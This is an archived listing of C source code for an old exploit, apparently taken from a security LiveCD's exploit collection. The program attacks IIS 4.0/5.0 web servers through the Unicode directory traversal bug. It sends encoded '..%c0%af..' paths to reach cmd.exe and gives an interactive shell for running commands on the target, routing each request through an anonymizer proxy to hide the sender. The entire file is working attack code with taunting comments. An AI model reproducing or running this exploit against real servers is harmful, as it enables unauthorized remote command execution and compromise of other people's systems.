home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / iisuni.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  127 lines

  1. /* hack IIS 4.0/5.0 with the usefull UNICODE :) and have fun */
  2. /* coded by zipo */
  3. /* to compile: cc -o iisuni iisuni.c */
  4. /* made for all the lame populus :) */
  5. #include <stdio.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <signal.h>
  9. #include <netinet/in.h>
  10. #include <netdb.h>
  11. #define BUFF_LEN 6000
  12. #define HTTP " HTTP/1.0\r\n\r\n"
  13. #define GET "GET http://"
  14. /* this is the anonymous server used */
  15. #define ANON "anon.free.anonymizer.com"
  16. /* this are all the types of bugs */
  17. #define BUG1_STR
  18. "/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+"
  19. #define BUG2_STR "/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+"
  20. #define BUG3_STR
  21. "/iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+"
  22. #define BUG4_STR "/"
  23. /* this is the IIS http server port */
  24. #define HTTP_PORT 80
  25. int main (int argc, char *argv[]) {
  26.    struct sockaddr_in sin;
  27.    struct hostent *he;
  28.    char *bug,cmd[BUFF_LEN],recbuffer[BUFF_LEN],buffer[BUFF_LEN];
  29.    int sck, i;
  30.    if (argc < 3)
  31.      bad_params (argv[0]);
  32.    switch (atoi(argv[2])) {
  33.     case 1:
  34.       bug = BUG1_STR;
  35.       break;
  36.     case 2:
  37.       bug = BUG2_STR;
  38.       break;
  39.     case 3:
  40.       bug = BUG3_STR;
  41.       break;
  42.     case 4:
  43.       bug = BUG4_STR;
  44.       break;
  45.     default:
  46.       printf ("Number error\n");
  47.       exit(1);
  48.    }
  49.    while (1) {
  50.       printf ("bash# ");
  51.       fgets (cmd, sizeof(cmd), stdin);
  52.       cmd[strlen(cmd)-1] = '\0';
  53.       if (strcmp(cmd, "exit")) {
  54.            if (!strcmp(cmd, "clear")) {
  55.         system("clear");
  56.         continue;
  57.      } else if (!strcmp(cmd, "")) {
  58.         continue;
  59.      } else if (!strcmp(cmd, "?")) {
  60.         printf ("Just you need to type in the prompt the M$DOS
  61. command\n");
  62.         printf ("to exit type \"exit\" :)\n");
  63.         continue;
  64.      }
  65.      /* prepare the string to be sent */
  66.      for (i=0;i<=strlen(cmd);i++) {
  67.         if (cmd[i] == 0x20)
  68.           cmd[i] = 0x2b;
  69.      }
  70.      sprintf (buffer, "%s%s%s%s%s", GET, argv[1], bug, cmd, HTTP);
  71.      /* get ip */
  72.      if ((he = gethostbyname (ANON)) == NULL) {
  73.         herror ("host error");
  74.         exit (1);
  75.      }
  76.      /* setup port and other parameters */
  77.      sin.sin_port = htons (HTTP_PORT);
  78.      sin.sin_family = AF_INET;
  79.      memcpy (&sin.sin_addr.s_addr, he->h_addr, he->h_length);
  80.      /* create a socket */
  81.      if ((sck = socket (AF_INET, SOCK_STREAM, 6)) < 0) {
  82.         perror ("socket() error");
  83.         exit (1);
  84.      }
  85.      /* connect to the sucker */
  86.      if ((connect (sck, (struct sockaddr *) &sin, sizeof (sin))) < 0) {
  87.         perror ("connect() error");
  88.         exit (1);
  89.      }
  90.      /* send the beautifull string */
  91.      write (sck, buffer, sizeof(buffer));
  92.      /* recive all ! :) */
  93.      read (sck, recbuffer, sizeof(recbuffer));
  94.      /* and print it */
  95.      recbuffer[strlen(recbuffer)-1]='\0';
  96.      printf
  97. ("\033[0;7m-------------------------------------Received--------------------
  98. ---------------\n");
  99.      printf
  100. ("%s\n---------------------------------------Done---------------------------
  101. ----------\n\033[7;0m", recbuffer);
  102.      /* close the socket ... not needed any more */
  103.      close (sck);
  104.      /* put zero's in the buffers */
  105.      bzero (buffer, sizeof(buffer));
  106.      bzero (recbuffer, sizeof(recbuffer));
  107.       } else {
  108.      /* you type "exit" cya :) */
  109.      exit(0);
  110.       }
  111.    }
  112. }
  113. /* you miss a parameter :'-( */
  114. int bad_params (char *prog_name) {
  115.    fprintf (stdout, "usage:\n\t%s <hostname> <number>\n", prog_name);
  116.    fprintf (stdout,
  117. "-------------------------------------------------------\n");
  118.    fprintf (stdout, "<1> msadc\t");
  119.    fprintf (stdout, "<2> scripts\t");
  120.    fprintf (stdout, "<3> iisadmpwd\t");
  121.    fprintf (stdout, "<4> /\n");
  122.    fprintf (stdout,
  123. "-------------------------------------------------------\n");
  124.    exit (1);
  125. }
  126. /* EOF */
  127.